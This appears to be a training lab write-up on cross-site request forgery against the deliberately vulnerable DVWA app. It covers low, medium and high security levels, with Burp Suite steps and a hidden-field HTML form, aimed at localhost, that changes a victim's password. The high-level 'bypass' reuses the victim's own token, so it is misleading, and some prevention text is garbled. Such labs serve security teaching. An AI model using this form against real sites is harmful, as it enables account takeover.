**CSRF**

CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing.

A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

This attack may also be called "XSRF", similar to "Cross Site scripting (XSS)", and they are often used together.

**Objective:**

Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.

**Description:**

CSRF is a type of attack in which the legitimate user unintentionally performs an action due to certain script encoded by the attacker on the webpage. Mutillidae provides a web page named add to your blog which can be used to perform a csrf.

**Impact:**

Attacker can change victim’s password with the help of given poc.

**Prevention:**

1. Avoid clicking the forged links that generates the certain type of actions (view, create, update, delete) to different http verbs. GET requests should be limited to some extent and must be restricted to view-only mode.
2. Anti-Forgery Tokens - Anti-forgery tokens are typically (strongly) random numbers that are stored in a cookie or on the server as they are written out to the hidden field. The server will compare the token attached to the inbound request with the value stored in the cookie. If the values are identical, the server will accept the valid HTTP request.

**LOW**

**Steps to reproduce:**

1. Configure your web browser and burp suite.
2. Go to the dvwa page and set level of csrf to the low level.
3. Enter new password and confirm password and capture the request in the tool like burp suite.
4. Generate the poc or copy the poc given below and open in the browser and click on submit button.
5. Password is change of victim account.

**HTML POC:**

<form action="<http://127.0.0.1/DVWA/vulnerabilities/csrf/>" method="GET">

<input type="hidden" autocomplete="off" name="password\_new" value="test1">

<br>

<input type="hidden" autocomplete="off" name="password\_conf" value="test1">

<br>

<br>

<input type="submit" value="Submit" name="Change">

</form>

**MEDIUM**

**Steps to reproduce:**

1. Configure your browser and burp suite.
2. Go to the dvwa page and set level of csrf to the medium level.
3. Enter new password and confirm password and capture the request in the tool like burp suite.
4. Copy the referrer given in the request.
5. Generate poc or copy the poc given below and open in the browser.
6. Click on the submit button and again capture the request in burp suite.
7. Now add referrer in the request that we copy in step 4 and forward the request.
8. Password is change of victim’s account.

**HTML POC:**

<form action="<http://127.0.0.1/DVWA/vulnerabilities/csrf/>" method="GET">

<input type="hidden" autocomplete="off" name="password\_new" value="test1">

<br>

<input type="hidden" autocomplete="off" name="password\_conf" value="test1">

<br>

<br>

<input type="submit" value="Submit" name="Change">

</form>

**HIGH**

**Steps to reproduce:**

1. Configure your browser and burp suite.
2. Go to the dvwa page and set level of csrf to the high level.
3. Enter new password and confirm password and capture the request in the tool like burp suite.
4. Copy the user token given in the request.
5. Generate poc or copy the poc given below and open in the browser.
6. Click on the submit button and again capture the request in burp suite.
7. Now add user token in the request that we copy in step 4 and forward the request.
8. Password is change of victim’s account

**HTML POC:**

<form action="<http://127.0.0.1/DVWA/vulnerabilities/csrf/>" method="GET">

<input type="hidden" autocomplete="off" name="password\_new" value="test1">

<br>

<input type="hidden" autocomplete="off" name="password\_conf" value="test1">

<br>

<br>

<input type="submit" value="Submit" name="Change">

</form>